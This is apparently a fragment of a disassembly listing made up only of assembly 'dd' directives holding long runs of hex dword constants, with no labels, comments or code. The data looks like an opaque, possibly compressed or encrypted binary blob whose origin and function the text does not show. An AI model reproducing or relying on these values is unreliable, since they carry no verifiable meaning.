		dd 0D8F7BEBEh, 112A0C1Eh, 2DF458F0h, 0C8468989h, 0B95E4ECDh
		dd 99E9C55Ch, 17BB3ACh,	58C68820h, 7025F680h, 0A9BE97FCh
		dd 0B7568E1h, 5FFE75C2h, 47765D72h, 4DAE42h, 0FDCEC181h
		dd 0A5E41D26h, 0D7349313h, 82B1FDAAh, 78BEE903h, 0BFE8EE30h
		dd 6825B41Ch, 27187208h, 63987DD1h, 18973E5Bh, 0BADF8C7Ah
		dd 0C845FD72h, 9AEC6381h, 26F73C8Ah, 2BAFBE66h,	0E689E60h
		dd 0EC24504Ah, 9D052ADCh, 62B2BB30h, 6E28017h, 886D1402h
		dd 0C0167FD7h, 70A2E912h, 0EE72C6D7h, 88345E65h, 22F92FBh
		dd 7F3F9Fh, 0CA7382B9h,	0F1811101h, 16AE388Eh, 681C5578h
		dd 0A666E5A5h, 0E25EC902h, 5D464E7Ch, 4D95121h,	0D9C1E9C7h
		dd 2D0F7003h, 4E9D2012h, 55876244h, 190EED57h, 0B318565Fh
		dd 0B67A5203h, 232D80h,	356AC806h, 0D3979F1h, 49E939C2h
		dd 1A06A6Dh, 1B6E16F7h,	8D1C073Eh, 2924916Ch, 81CA0F9h
		dd 4A141CD0h, 0AD20428Dh, 72A616AAh, 6BB5F1DBh,	0D32B9EE1h
		dd 0BFF514EAh, 9F50279Ch, 5624BB51h, 0B2F37013h, 0A5164A4Ch
		dd 0B9D3F822h, 8B15DC69h, 235AC23Ah, 17E1CD0Bh,	69F32D7h
		dd 2827125Dh, 16B4160Ch, 6703FB9Bh, 25D396E9h, 0D6F94E26h
		dd 0A8B2A960h, 1F29021h, 52B0E8Ch, 3E6F19E9h, 0BDB59146h
		dd 0F3C70767h, 0B3181470h, 0A52E7E3Ch, 91199CD6h, 0A159FE99h
		dd 8B1FAC6Eh, 2C95854h,	78064065h, 0AF4B2AE9h, 5BFA28E0h
		dd 0F35E0CF2h, 0C18524AFh, 0C9739BABh, 0EDB36459h, 1C0608A3h
		dd 1E6377A6h, 85E92C65h, 0B7B4430Eh, 0C458E781h, 320EB151h
		dd 648E980h, 0EE1A59CFh, 0E70D5AC7h, 0D0543F3Ch, 3E4DE2E2h
		dd 4710830Eh, 0D0C0D54Ah, 0A0C91191h, 0B62CF583h, 2C68154h
		dd 2021D2A9h, 56B6EE9Ch, 9075916h, 65A2618Ch, 2FF3D5ECh
		dd 794CD525h, 0C7798C90h, 25FAECBFh, 0EC7DE7DDh, 98681366h
		dd 88B8F946h, 2DBB01F8h, 0E8DA7384h, 76BFF2F6h,	85014F83h
		dd 29C5E3F1h, 766705CAh, 800492Ah, 3C1A6E8Ah, 166AFFE9h
		dd 0F6BEB83Ch, 0A1682679h, 7EDCA5Eh, 70125566h,	0EDAB98B9h
		dd 5FE0F34Ah, 0DD9225E9h, 151FC87Fh, 0C3D14188h, 0F12833A7h
		dd 5CFC064Eh, 6E1BE982h, 0DF3F90D7h, 71631B5Fh,	0EEB53089h
		dd 94E98431h, 51510E3Bh, 0AF6402C5h, 0E77B598Dh, 13E916BBh
		dd 13ADEAE0h, 64061068h, 0EE70361h, 822F532Eh, 0C732A076h
		dd 924CD568h, 738D13DAh, 0F29516D7h, 5AE9C421h,	2D0205BCh
		dd 0C91A5BEAh, 0F714D97Eh, 74CF27CEh, 0B3CA87E0h, 0B217077Ch
		dd 645621E8h, 0E037F83h, 0C28D960h, 277C57C2h, 3036C472h
		dd 0C3AB7071h, 0C0262745h, 8F02090Bh, 0C51F286Eh, 1423A506h
		dd 8D1E70FEh, 89988CEAh, 957AC976h, 0ED0E13FBh,	0CEBB1736h
		dd 9BB460B7h, 7640983Bh, 42264168h, 76556AF5h, 91B2E32Ah
		dd 12544D48h, 20AA2799h, 353D67FDh, 0CA797690h,	9AF55E4Ah
		dd 993CE2F5h, 1A858A28h, 86C8802h, 0A7C247FDh, 0E941AF79h
		dd 0A86B49A6h, 2DEEB5FDh, 10F848Dh, 13BE54E9h, 0D93CEECDh
		dd 99B954E9h, 52ACEC49h, 9602C7DFh, 436B9B4Ch, 41A5C4E0h
		dd 0D68D3E2Dh, 1250150h, 2C30AE69h, 6BD1B08Dh, 5D2E0921h
		dd 4569E809h, 975AD729h, 3801E887h, 122976D7h, 0E85E9117h
		dd 4F9E809Fh, 0FF017E0Ah, 0B9282277h, 257F970Eh, 84EE55CDh
		dd 0E55E07A3h, 0C01C6454h, 6102397Eh, 0E943561Fh, 0E7259758h
		dd 9831077Fh, 0D4EFD125h, 6EFDAF86h, 9326AB2Ch,	5D4FF431h
		dd 67DD8E4Bh, 4E3DF530h, 1886B42Dh, 5C83137h, 2668088Ch
		dd 6B3430A3h, 59158EF0h, 4B9A03E9h, 0F98109FCh,	3A1794FDh
		dd 0CD9301BBh, 30846B0Bh, 2CF4E573h, 186F9C33h,	477FE8DCh
		dd 10DD60F7h, 4BC64C78h, 0A5E781BFh, 3C70A7B8h,	96D597AAh
		dd 25DF9D9Bh, 0CBBB3018h, 0B8D86194h, 0FA3AFFDAh, 160C9E65h
		dd 2F681990h, 0D7667287h, 52808BE6h, 8F50ABAh, 0F43B69h
		dd 32C32DC0h, 59B606E9h, 3089F627h, 793AC6F8h, 0B4AED3Dh
		dd 0F17334E9h, 70221FD9h, 0C2805A2Eh, 0EA735F73h, 110CCFE1h
		dd 0B31D47E9h, 0F68E452h, 270B3828h, 172F2DA4h,	4F0594A9h
		dd 0BA710A89h, 0EBC0CE85h, 0B65770E9h, 64CA84A1h, 0AADFC1E3h
		dd 54007914h, 690BA7EDh, 0A8014E3Dh, 142D08C3h,	5057044Fh
		dd 0C0494AB8h, 0BB05489Eh, 0E5A4B604h, 5092C1E9h, 1AA0F509h
		dd 565138D0h, 9E9DDDA0h, 89A66A01h, 554EE9EAh, 0D2E1A87Eh
		dd 5534D372h, 7F69E47Eh, 1F12C5F8h, 1400FC59h, 150B1F3h
		dd 12E3EC25h, 6A92A2Ch,	1E06EB38h, 2A42416h, 3D7DDDAFh
		dd 0F103842Fh, 74275114h, 0AE30AC5Ch, 1A622651h, 0CAD50122h
		dd 0DE90801h, 0D2A67ECAh, 0F0CEBD4Eh, 32685759h, 0FE756D51h
		dd 0BFB0B170h, 0E6BEF797h, 5B1FBA2Dh, 1CDFAF92h, 76E913C9h
		dd 0A4FAF837h, 0A3BE6985h, 0A483C8A4h, 0F5BF4364h, 0E2B6A013h
		dd 0E57949A1h, 0D0056D16h, 183096DCh, 0BEE0754Eh, 7EB916CCh
		dd 85888104h, 68289D7Bh, 0DC606C13h, 0D4C4966h,	0B6E94D6Dh
		dd 0DBA37AADh, 91AE307Bh, 8898B17Eh, 6431CF79h,	0E3D112C7h
		dd 8AF13Eh, 1E3465F0h, 84E94809h, 0F4161A63h, 413EA6F3h
		dd 3EF3ECE9h, 58C60E49h, 86B8D1F1h, 0F62DBF97h,	27498B2Bh
		dd 3D7EDE29h, 0EF8180F2h, 0BB7B9D03h, 73E7C125h, 24DF0B9Ch
		dd 47074EE1h, 0CCF9D3C8h, 6AD2F7E0h, 89728809h,	0DAF005FDh
		dd 9B8CDB0h, 504D62FBh,	0EE51FA05h, 160B3721h, 0CBC33101h
		dd 80131227h, 1DF30556h, 5F602536h, 251C0D5Eh, 1C562845h
		dd 0A160D5A8h, 0F26B67F1h, 6C27117Bh, 62CF5EA6h, 94FFF871h
		dd 0BCBBE01h, 0C7715A6Fh, 837CA0AFh, 0D26D4B34h, 7BF60445h
		dd 8689ED51h, 5F58B405h, 4EC1CB5Fh, 0E9C359ADh,	0AF1C89DCh
		dd 277B76EEh, 415562AAh, 0E2F05D17h, 0B7261D55h, 0C19CBC75h
		dd 139029Eh, 5E5DE9D6h,	7FD42FCCh, 0F1FBD55Ah, 9C44E906h
		dd 0F2CA0E6Dh, 0BA5D5C4Ah, 1775128Ah, 0E1EA01DAh, 3A1A9DE2h
		dd 0CB1CE3BDh, 0E90D8234h, 0AB4416CFh, 7607AC90h, 41509813h
		dd 85E9EAE5h, 2E04E500h, 0EDD10CE0h, 0FF1E4DB6h, 79E9FBC2h
		dd 0A8E2532Ch, 97365B73h, 49107557h, 0D1D55FD5h, 27B1A6A9h
		dd 47A0B9ECh, 5680A9AFh, 354A9FBEh, 0F2D70FDDh,	4E209E8h
		dd 106DE02h, 9455CAE9h,	79B8E87Fh, 32136E0Bh, 0A04F7448h
		dd 44584E08h, 7601582h,	9C894729h, 11482DE3h, 544BD474h
		dd 0A8765244h, 808AC770h, 81EDC2Dh, 9D89371Dh, 423FD10Bh
		dd 0B774E528h, 97177272h, 0E695F478h, 214E0BF4h, 5D53001h
		dd 69844F32h, 0CA5BBF09h, 7F43400Eh, 0B15180DCh, 0C888A11Fh
		dd 304BB643h, 0E2B4FFC6h, 93B7B3ABh, 17B460B8h,	28C5A695h
		dd 0FE7FF388h, 0C5405D93h, 0CF93BB2h, 0DEFCE92Fh, 0D2C55770h
		dd 0A2F48DAEh, 78D19FC1h, 0AF4DEA8h, 99A85A4Eh,	31B850C4h
		dd 8D92270Dh, 0EBE584C1h, 0B9013D98h, 0F4E9C29Ah, 0F0CE49D7h
		dd 993C2BDDh, 35FD6809h, 20827851h, 7556BD47h, 50DF4489h
		dd 3520E7Eh, 0CFDE7435h, 0EA176376h, 0AD388F00h, 931F8FAh
		dd 0F2895FFEh, 0E9161996h, 24BE4925h, 6CDBC21Ch, 71C85D09h
		dd 0A75867C3h, 0FB010BDFh
		dd 583DDC51h, 1C95936Eh, 0B4500219h, 2ECC0F2h, 1D0A5E5Fh
		dd 0AD4592Ch, 0D6CF2801h, 64BEA105h, 609F58B9h,	76F3492Dh
		dd 8E9F8DDh, 68267E61h,	15923C7Ah, 552BADFh, 5C89B35Fh
		dd 92407949h, 77068520h, 26D1C2A2h, 120B675Fh, 0A4625ED0h
		dd 0E5C3644Eh, 6BAB033Ch, 5CEA172Dh, 1A53A584h,	240DB408h
		dd 0A47E0832h, 690F2728h, 6B73B579h, 27C37C90h,	9D5104F4h
		dd 0DA42DDA5h, 0F3686060h, 0A431794Bh, 2F960921h, 8311C196h
		dd 37FC7BC2h, 0C07AACB5h, 52661BB2h, 0D90ED5F6h, 0C60D210h
		dd 1EBBCF80h, 30641BB2h, 0C4D920D7h, 61FCC188h,	0BF013FAAh
		dd 0E8098E2Dh, 0B04EA2Ah, 8BB24D80h, 58D53478h,	9FA7AF28h
		dd 0A9028058h, 13FC622h, 80C404Ah, 4A4A7E3Ah, 5E69C7B6h
		dd 685718E0h, 0C00CCC0Fh, 355C6563h, 9649EBA4h,	2CB9015Bh
		dd 2E429A0Ah, 0EE7FEBB9h, 121A6882h, 6DC70BCDh,	0E95BB8D6h
		dd 0C404498Bh, 0B8C7254Eh, 40A146E8h, 7403E1E3h, 0B30D7F53h
		dd 0DB69F368h, 0E6CFFCF7h, 634D510h, 0BB25E82Dh, 1BC24CFAh
		dd 7104EA17h, 6BA750E2h, 0BB9708EDh, 816FCE3Dh,	8B36920Dh
		dd 57EFE469h, 2D92DE67h, 8368C4FEh, 0DF1730DAh,	6125FFAh
		dd 6834F68Eh, 58E1018Fh, 6014B627h, 4B019BFFh, 0E94A6B01h
		dd 147D95B2h, 0A7F38739h, 7BEE8983h, 8A8835D1h,	0B23C964Fh
		dd 0E951C13Ch, 8169DA7Dh, 8189582Ch, 4E4D37B9h,	9B71EE4Bh
		dd 8B6DDD08h, 510B06E7h, 2A197960h, 0D91F2427h,	65C50065h
		dd 318FD451h, 42DC097h,	5668808Ch, 19AF3E62h, 7761F292h
		dd 1F0FA70h, 977C80BEh,	73CE3102h, 0C49117E3h, 30C28C5Eh
		dd 0E00F192Eh, 2604B57Dh, 255C6A9Ch, 7CBBEEDDh,	6686255Bh
		dd 31090545h, 0B336D170h, 0E98CE968h, 5C990CBEh, 9A75A6E3h
		dd 0D85D5B22h, 494D385Ah, 4257D779h, 0E99C42ABh, 0F9FD9053h
		dd 3840A5F0h, 0AB04218Dh, 446B683Dh, 13D590D8h,	0C496792Eh
		dd 308CBA44h, 0A7074AD1h, 68BA0254h, 411A7C3Dh,	0EE0543BAh
		dd 13F24CA4h, 0E1E34F66h, 5B8A78CBh, 0EA5F4CE7h, 0FBC2DA64h
		dd 6D7F0B8Ah, 9EAABA95h, 0F8E1B5ACh, 0D715730Dh, 0BADE74EBh
		dd 5ED8E4E8h, 56E25A27h, 68F9010Bh, 0ADBAF17Eh,	3C2F1A58h
		dd 499CFDC6h, 50857EB7h, 52055366h, 0E3E9CA88h,	0ED5E59A8h
		dd 9C0B9F4Ch, 2016D27Dh, 12F15C5h, 0A29E75CDh, 4C724720h
		dd 803F5730h, 0FA121048h, 4A76A85Bh, 0BD5F24E9h, 89AEB5FBh
		dd 0EAC6FE2h, 0AE42D714h, 4857CC80h, 0C4BD8934h, 0D9012F5Ch
		dd 0F1E081DCh, 0F622CD8h, 0B7BF5706h, 0EAA7FC04h, 37E93538h
		dd 506351EAh, 77D1260h,	0A90017Bh, 0F61A8060h, 0BDAE68DEh
		dd 0B1430B7Eh, 8AE1F840h, 3AB70653h, 4986BBE9h,	57F3F21Dh
		dd 0A8D37EDEh, 0BD5DABB0h, 3456D009h, 5DCD127Ah, 3E46C0FCh
		dd 90315E3Bh, 0DD75885Fh, 6FAD7D4Eh, 36600202h,	90D5895Bh
		dd 9AE653D6h, 72672F25h, 7150C118h, 7E58C42Dh, 0DED989F8h
		dd 8249215Eh, 57552062h, 175C57DEh, 448EE94Dh, 0C3D6F609h
		dd 3F5EE495h, 0F9B44FFh, 54748E2Ch, 929702F4h, 0A1BC4C2Ch
		dd 0B73E38DBh, 47B2D293h, 0BE3E6717h, 9B2CDD8Ch, 1D5D93E5h
		dd 0BFD35376h, 298F1C27h, 5BD95FECh, 7BE57F6Bh,	946D3789h
		dd 0C3801F96h, 0A01489F5h, 0F680227Ah, 0DC377BDAh, 0E0B01160h
		dd 0B74A09DEh, 0F2CE01C3h, 788D5B04h, 9AC35E9h,	48F20525h
		dd 0AC19C197h, 0FA5E0228h, 1096685Eh, 92581CA9h, 0D1300308h
		dd 0E0CE2438h, 201AB002h, 414161C6h, 70F4492Bh,	0E8C08FA0h
		dd 255A2C04h, 3980E2F0h, 0CD9F8CE5h, 0F558BBEFh, 2FBE6819h
		dd 813BF9E9h, 2D7CE3F3h, 0CBD84902h, 0FE6B1F47h, 7F3011Eh
		dd 3B2A0558h, 55E9AF88h, 8F2B900Eh, 963F50B5h, 28CDFE80h
		dd 5EC8EDC0h, 0AFC2128Eh, 771087A6h, 0FEA5B3Dh,	0E24EDE77h
		dd 0F25D65B3h, 600B02FFh, 70465862h, 3C080CFEh,	841C555Dh
		dd 394F1100h, 0C64378BDh, 51E9279Bh, 0F0D74409h, 0D05C49EBh
		dd 82B2EEB4h, 8E972C34h, 76D61387h, 0CE20658Dh,	58409552h
		dd 49482309h, 0C1CE615Fh, 0D24105EBh, 870517B0h, 3258B787h
		dd 2AD081D1h, 0EB18B532h, 0FFE8555Ah, 0D89D9168h, 9DD0BD7Fh
		dd 91AD7534h, 16E0B2EFh, 4FB8FD01h, 870588Ch, 54024090h
		dd 31F64FF8h, 0A767D5D9h, 5BBFD93Eh, 0D62228BAh, 0B9A4844Fh
		dd 0A2A24B23h, 12254864h, 0C934C5FAh, 3C931A06h, 0ECF09D16h
		dd 93BBFE95h, 0E04556BFh, 0E85D951Dh, 0FCEA2755h, 0DB94BD98h
		dd 0ABD7A918h, 17FF461Ch, 54A128CDh, 1339BE2Ah,	9F6EB92Ah
		dd 0BAAE1867h, 12400C54h, 10BBE35h, 49FBC55Eh, 0E25DB9AAh
		dd 540C5712h, 6F2DE96Bh, 0C9FE796Bh, 9EE23DD6h,	0CF7BDFEBh
		dd 33965DA4h, 0EEE27EB4h, 0B174BD17h, 0F2E2DE4Bh, 7AD37C5Dh
		dd 69E91181h, 3DBB2EBCh, 74C5AD6Ch, 3F8AF8Dh, 97C61820h
		dd 560BF8DAh, 0E2A958CEh, 26385635h, 0F7688946h, 2E9A540h
		dd 8574225Ch, 51B3F489h, 251AF21Ch, 0BEEE47DFh,	0C624E95Bh
		dd 0B714B5E9h, 0BAE56440h, 0D5490EBCh, 68B19E0h, 8F622107h
		dd 6AD3842h, 7FE90A00h,	0B234DA46h, 433B1075h, 0D1EBC085h
		dd 21EF815Ah, 7CC60F04h, 0DE84CF01h, 0F4590809h, 0A65E8CB3h
		dd 0FA6B018Bh, 7E6050FCh, 738B25C7h, 2D622956h,	0B5BD059Ah
		dd 12C23B1h, 5767CD81h,	7BED41FCh, 2D1C012Ah, 3BC0DFEAh
		dd 0CF3F6DF1h, 72BB4BD7h, 0BB706DC3h, 59FDB9B7h, 0A86E0CE5h
		dd 0ECECE449h, 7CF9801Ah, 0F433FAFFh, 0D5BB4968h, 0A02CB876h
		dd 80E1BCE8h, 0B8E240BAh, 0D3290F05h, 7809585Ah, 5C0DA06Eh
		dd 2D32EC2Dh, 0FA582B17h, 44140782h, 5154A295h,	0DCBD0016h
		dd 375C145Eh, 3B944B6Fh, 2CF99280h, 6B6A4C7Ch, 15FB952Fh
		dd 89BB5380h, 98109E11h, 27E60565h, 84437568h, 0FAED8154h
		dd 0DB4E606Dh, 79FB6905h, 0D0D04EE9h, 3D64CA68h, 76164983h
		dd 70D8EB6Eh, 0A9BC4A68h, 1DE88072h, 1FD16D36h,	0F9EDC1E5h
		dd 450320F5h, 0B001083Ah, 0E05A0CBAh, 1D4A7C4Bh, 7F5CE6F5h
		dd 92F9A44Eh, 0CCBF8E12h, 0C28BF2EAh, 0E4621DE9h, 0AF884B28h
		dd 8C2DDC8Eh, 0EFC13A81h, 7CC6E108h, 0DE252C02h, 4529FE0Fh
		dd 3AE9CB0Bh, 475D6882h, 0B2A01C59h, 6D319709h,	0FCEAD713h
		dd 0F27C8EF7h, 62FD3B0Eh, 0FC0918E4h, 71CE01B3h, 30478E3Bh
		dd 4E171B29h, 0F480364Ah, 0B77456E9h, 0AFE36AC8h, 4271FC97h
		dd 44D58C7Dh, 4FE59078h, 53C4414Dh, 820CB130h, 0E35A420Ch
		dd 8BC17557h, 0A2F57E05h, 88D0E72Ah, 61302729h,	0F4978714h
		dd 1CD6C9E8h, 6945BF81h, 322C23DDh, 52DFF700h, 8A5AE8BAh
		dd 0D7297012h, 86E9F920h, 1AD4B781h, 259AD0ADh,	0D8DCC683h
		dd 0F8E53C2h, 0D42CCF61h, 68E0415Ah, 19CC3E34h,	60985BB3h
		dd 8082B246h, 0C094CA04h, 22AA05E2h, 9B586182h,	37B4359h
		dd 71515935h, 16F4D13Dh, 0EF22353Ah, 0D656570Bh, 1C8119DEh
		dd 0DF957EB8h, 9D0493EDh, 0E54FC42Ch, 873CF0C3h, 5A45605Bh
		dd 0AA53A9E9h, 950174F8h, 21185D3Ah, 0A1BA6CCDh, 0C340DDF7h
		dd 16BEEFF9h, 0F1CDE9FFh, 30EE2ABDh, 384C684Bh,	47AC2AE1h
		dd 0ED95D896h, 350D442Ch, 0F69F2C28h, 8A5CBBEFh, 34E9043Fh
		dd 79DF243Ah, 0A162AF7Bh, 0E92359DFh, 0E6A05289h, 7551685Dh
		dd 5A86AE1h, 7C13EBB0h,	1AB8165Eh, 10DEF94Bh, 0B35A6564h
		dd 597D4CCh, 0DE932B3h,	0B5F782h, 2A0C2D58h, 12ACFA4Ah
		dd 0BB06267Fh, 0BC1244BFh
		dd 357E11C1h, 0EA484148h, 2D82F9A5h, 7D2E8914h,	514174F1h
		dd 0BE825257h, 15326825h, 2040D640h, 0E92A9D0Fh, 0F53CFAAAh
		dd 7F98C9E4h, 0AAB7297h, 3979E9FDh, 685780FCh, 6D1448E6h
		dd 0BCC7095h, 247F060Ah, 3BBC8F1h, 911A05C9h, 5EBADA31h
		dd 21B20566h, 0CFB0FB51h, 175875C1h, 8032E9CCh,	0ACB753ABh
		dd 4C043FFFh, 0AB12B39Bh, 9A48C68Ch, 36F59DF6h,	27E92C41h
		dd 0A78F9E82h, 72541677h, 2597B0F0h, 96F5F384h,	2C68127Dh
		dd 0C9D2FC09h, 4A1A57B6h, 0CC89E55Dh, 28E1E909h, 0CD00F407h
		dd 28C76971h, 2BEE48D1h, 0CE30D04Bh, 0E24C5B59h, 570B7D80h
		dd 740FFEFBh, 0F1338889h, 7C094424h, 0BCB144BCh, 4BD8A7FAh
		dd 311B09BDh, 0C4305A2Dh, 0EE05F53Dh, 4E7C29D8h, 0F1FCA455h
		dd 96650C02h, 0C2CA016Dh, 27D5F042h, 857E3059h,	105704E9h
		dd 0F60251C0h, 255C98DAh, 4E8053A7h, 0EB285BB3h, 742CE92Dh
		dd 4CCB4257h, 3BFCDC0Bh, 70FF33B9h, 5BDD03E3h, 28D9B353h
		dd 61E90C09h, 4B2AD2AEh, 84E7F358h, 0FB1FB8A4h,	3E17A94Eh
		dd 0DC377D01h, 17301AB2h, 987AC280h, 4A690A9h, 1EE916EAh
		dd 0C141BF38h, 0A30F7BCDh, 60347570h, 78BA6408h, 7E02801Ch
		dd 6B230BBEh, 2425FA53h, 0A6F45EC1h, 59570114h,	0D3B87415h
		dd 2DFF0B5Bh, 634C618Ch, 6798769Fh, 12FB5420h, 35417968h
		dd 0D778A83Eh, 5329E601h, 9B285621h, 9A84B4h, 68555210h
		dd 18950B41h, 175A30E3h, 0EB2957C9h, 0FC6ADE2Dh, 3E9E0F7h
		dd 5D0ADE0Ah, 34E5C97Ch, 141442FAh, 10994E4Bh, 0BB00824Fh
		dd 7458757Eh, 421F17BDh, 52D76D65h, 0EA095BC0h,	4A4DF05Dh
		dd 0E65AF880h, 0DC6F2D1Eh, 0C51D5E44h, 90A5D388h, 30E902DEh
		dd 0EEF72AE1h, 182716AEh, 0BE08DF66h, 0EA1C3408h, 0E69C5FD5h
		dd 0BF51707Dh, 0C0E9AF54h, 8048EF22h, 280B2EB9h, 512955C6h
		dd 8FF1273Dh, 0C63E62h,	7B1343BFh, 8271F7Ah, 5E05F2ABh
		dd 9251A853h, 4ECEC6E4h, 0C8BDF435h, 47E40A13h,	60F0A5BBh
		dd 294E0415h, 218F8CEAh, 2CEA7A5Eh, 0CC618E42h,	6A27CF4Fh
		dd 0A03E20FDh, 88253520h, 0AF8F7D68h, 8B734EABh, 5EEF804Dh
		dd 0F9C1B021h, 0CF5254BFh, 0FEA31065h, 5EA80532h, 0C3B309BFh
		dd 310C060Bh, 0FCF13010h, 0B5C93CD1h, 0FD9B04E0h, 226E49EFh
		dd 2D402951h, 4AAD1688h, 41DFAC51h, 6ADDF207h, 250D59A9h
		dd 5416E6E4h, 0D3E12AE9h, 10D2CA7Fh, 4000B007h,	0F060F10Dh
		dd 3392D52h, 0D6AFA712h, 57E909F8h, 0ED81A8F4h,	3BEFE497h
		dd 8BF4DDF9h, 110EBB16h, 55500001h, 4D2F15BDh, 9FE91A66h
		dd 1FD424Bh, 978C924h, 79F6D220h, 41372D2Ch, 882FE450h
		dd 0AC8BF932h, 0C55549BAh, 42D02CD2h, 0CCD47401h, 286B3508h
		dd 0C95A738Bh, 0F8424FA2h, 0D4BE5B3h, 68879EACh, 251C2E70h
		dd 57A3BDEh, 0FA9043D6h, 3848F280h, 0D5294DB5h,	0E8300B29h
		dd 0BD3DC6DDh, 84C913D4h, 5009419h, 2041589Bh, 890D1798h
		dd 247D831h, 3D54A92Eh,	0B6A924Bh, 15175701h, 0E07AF1C4h
		dd 4740F2E3h, 3C719F89h, 4D65C6Bh, 0D33AE2E9h, 0EDF56D9Fh
		dd 53A6C41Bh, 0B32EE644h, 21F309E0h, 77340B20h,	6A4BA322h
		dd 103CE2F9h, 813B0853h, 0A677E885h, 4BEBC03Eh,	70009625h
		dd 0F3C07F2Dh, 0DBC1315Dh, 325F3C8Ch, 41196ABCh, 3EC24182h
		dd 0E94AE9FCh, 8EA858Bh, 29C30787h, 82840DAh, 1B8727E9h
		dd 5B933FE7h, 0D4BDA6AEh, 5854871Fh, 0F5E40D24h, 553E40F8h
		dd 0D82AA5E7h, 86150946h, 0A5E89432h, 0D92E3066h, 6B0C170Dh
		dd 0EE2C528h, 7D1847FAh, 0D36DF2C7h, 0CAE04C8Eh, 0FC105768h
		dd 77EF714h, 0A39435A4h, 0D65E6601h, 6215730Dh,	27BD224Fh
		dd 0CC425A06h, 0AB80105Eh, 0D7013253h, 0E0C1481Bh, 1CF03504h
		dd 0D262415h, 1E3D018Fh, 68DFB3E9h, 0AA53E49Bh,	2EB72DEAh
		dd 0E953AF90h, 3E8860CDh, 28CBED80h, 5066D50Eh,	0E51DDCB4h
		dd 0FCF85892h, 95F6F89h, 0F69C7703h, 642E95Fh, 0FD59CA21h
		dd 2A04288Bh, 17FFB949h, 0DDC4B8Dh, 0AAD04A31h,	0FE73D60h
		dd 3E6D4CD9h, 6A2D7B01h, 38BEE910h, 3CBD0289h, 7F0E781Eh
		dd 41B75A70h, 9F813A3Bh, 0B92D37F2h, 82C74027h,	80B80108h
		dd 12AD2827h, 0D65640B9h, 26C40137h, 3BC82EBBh,	3DC02AD9h
		dd 2F035E05h, 5D420E6h,	0B1970720h, 0CF284B1Dh,	68840F0Bh
		dd 0A1A0015Eh, 60448888h, 492B7BBFh, 15A09CF5h,	922FF1E9h
		dd 11D0F305h, 18F404B4h, 844D1DA8h, 0A27B0A31h,	68530534h
		dd 30EF1071h, 0FD167778h, 35FF514Ah, 67A0E8CBh,	80A95B3Eh
		dd 4B1B54CBh, 30B90532h, 80A7812Ch, 927FB180h, 9DC6A48h
		dd 9A219F68h, 5B556124h, 4B19E86Bh, 0E392BFF6h,	0B3BF936Eh
		dd 6A37C533h, 0B4095895h, 2535D602h, 0B4F4347Dh, 69D72726h
		dd 0DC89AEFDh, 3FA2212Ah, 2500331Fh, 48AC32C9h,	0B684FC72h
		dd 876802D1h, 0A46EAF44h, 0C9AE30D5h, 356BD33h,	2D67B175h
		dd 9A0B7BE7h, 2DFAB50Ch, 8290E925h, 0C0E53017h,	24BEED16h
		dd 1A02EB88h, 2760BD54h, 58767B06h, 34B3F100h, 0BA5207A0h
		dd 0B5320398h, 5AD10976h, 0C66D942Dh, 84864ACAh, 0F1E3EEC8h
		dd 28BA397h, 7656A3BEh,	0E6376472h, 0CCB6091Dh,	0DA75214Ah
		dd 2BDE97B5h, 0A20702E9h, 0AA947585h, 0A8B2BCF8h, 78607CBFh
		dd 4093765Ch, 5C13F70Bh, 771460B3h, 5F0F6557h, 0D438BEh
		dd 51C681A4h, 9DDB7C32h, 801F6EAh, 7E3D9BE9h, 44EC9375h
		dd 0FA559CAh, 0B6848DC9h, 2721DC52h, 54627302h,	4002E5C1h
		dd 5F72A175h, 0DE4680AFh, 0EE77CAF0h, 3503F558h, 0A6AFDE39h
		dd 7906D4CEh, 1DF15B00h, 0A0286F0Dh, 0DCE9152Dh, 0E3028E66h
		dd 734E5DC6h, 51438440h, 62741A26h, 6D132801h, 909E4D75h
		dd 45CD8106h, 0DB3E0E42h, 940D1AC8h, 0C0F5F0E1h, 7348DD12h
		dd 892407FCh, 0C0FE276Fh, 51E8045Bh, 0B6200340h, 0C7517E5Dh
		dd 2E34260Dh, 0F1082321h, 0E0D525E1h, 0C08BB00Eh, 9A48C7C1h
		dd 295E2F3h, 571E087h, 6B1DFB66h, 980B5D24h, 8D2F5455h
		dd 0F83C3F2Bh, 5E4AF021h, 0AF925591h, 2B14C93Bh, 1A962BEFh
		dd 841057E2h, 30AE1980h, 7B0977ACh, 0B1B8115Eh,	2E461401h
		dd 243AA568h, 5844714Fh, 74B50EC1h, 2DF3FDEh, 2F352066h
		dd 5C780FDh, 7DB661ACh,	8F0C321Ah, 54775C32h, 0BA0E44C2h
		dd 5BDEE742h, 3FC45558h, 0A59E68EDh, 1AC500ABh,	5A6B0E01h
		dd 0D20936B0h, 9198C74h, 7E9102BBh, 0CD8571Fh, 13827A9Fh
		dd 92A673E9h, 84D091FEh, 5E55C2A2h, 0DB55E95Ch,	5CF1321h
		dd 406C458Eh, 6B31F6A3h, 46582C0Ch, 0B76620AFh,	0D3005B42h
		dd 55E2AD8h, 9570780Bh,	97150041h, 0A10BC51h, 4E3C15Bh
		dd 8E70ECCh, 2F0549EBh,	0B824AAB9h, 0D73027BBh,	34EC49D2h
		dd 66847F4Eh, 4E0A9BFBh, 0ED9F67FAh, 0DE046F0Dh, 0B1168C3Eh
		dd 7FD8E181h, 0DBBB49D0h, 0D8E2405h, 7CFA03ACh,	0CBB02A1Dh
		dd 5D1E090Ah, 8859E944h, 22DCE13Fh, 34F4BFD8h, 637B7682h
		dd 0B0465F0Ch, 6BDBE916h, 0B52231AEh, 9B852FB6h, 86627C88h
		dd 0F5B55113h, 9682BAC9h, 382E5DF9h, 529F8F41h,	50FF28E3h
		dd 0F8529F7h, 0EA8109DFh, 6509C9FFh, 805A162Bh,	0ED1F1742h
		dd 16FC7A40h, 0BF11357Fh, 8A001F12h, 68D63703h,	1CC4AE9h
		dd 0D9F480D7h, 0C7B02A28h, 0CB489752h, 40E31F2Fh, 21A5EF92h
		dd 0E4176F24h, 8609D81Ch, 0BD4758C4h, 0D5A5AF47h, 0E916FE3Ch
		dd 0DB7840C5h, 5EBE2A68h
		dd 0C2CC4FAEh, 98F755D7h, 0BEEF01C3h, 0CC2B58E4h, 2A5918B7h
		dd 85B74F10h, 1E30B832h, 74475AB5h, 19B2EF30h, 0F0364684h
		dd 8AFC582Ch, 0DBF6F481h, 61E83BF2h, 7AC00B4h, 6F6EE950h
		dd 2B8CFC9h, 5D699089h,	5855D609h, 0DA1C9D61h, 0D1844627h
		dd 0FA2A59Dh, 0C4ABDACh, 6A2A7380h, 4A60301Bh, 0B354D760h
		dd 0E9095B48h, 0C8015F1Ah, 56117069h, 0CD92E07Ah, 0D2A3354Bh
